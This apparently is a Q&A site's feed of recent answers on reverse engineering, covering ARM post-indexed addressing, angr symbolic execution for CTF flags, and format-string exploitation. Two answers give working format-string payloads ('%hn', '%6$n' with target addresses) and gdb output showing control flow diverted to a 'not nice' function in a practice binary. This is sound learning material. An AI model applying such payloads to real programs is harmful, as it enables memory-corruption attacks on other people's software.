New answers tagged

0

Indeed, it seems to be incorrect. The syntax [R0],#1 is called post-indexed: first the store (or load) is performed, and then the base address is incremented (or decremented) by the value specified. So the assignment and increment should be swapped. As for 00 BF, it is the opcode for the NOP instruction, probably inserted to align next function on a 4-byte ...


0

The input string that finally let me execute the not nice function was echo -n -e '\x7c\xd0\xff\xffJUNK\x7e\xd0\xff\xff. %x %x %x %x %33929x %hn' > /tmp/xxx This gave me: 22 (*fptr)(); (gdb) x/4xw 0xffffd070 0xffffd070: 0x00000001 0x00000003 0xf7e25a50 0x080484b4 (gdb) c Continuing. you are in the NOT nice function!


0

I am not sure the %n takes the next argument after the %5$x. Try \x7c\xd0\xff\xffAAAA%6$n. Seemed to work for me.


0

If you can't modify the binary but through the static analysis you get the number of bytes you need to provide as a flag, you can construct bit vector flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(6)] flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')]) and pass that to the entry_state since the flag is provided as an input through stdin ...


0

I believe that the issue is related to the way gets symbolic procedure implemented in angr. You are asking to read 20 bytes, and as far as I understand, the actual symbolic memory that is allocated is of the size of 20 (19 string characters and a NULL terminator). Later, when you call to strcmp, the comparison will always fail, because you compare 20 bytes ...


Top 50 recent answers are included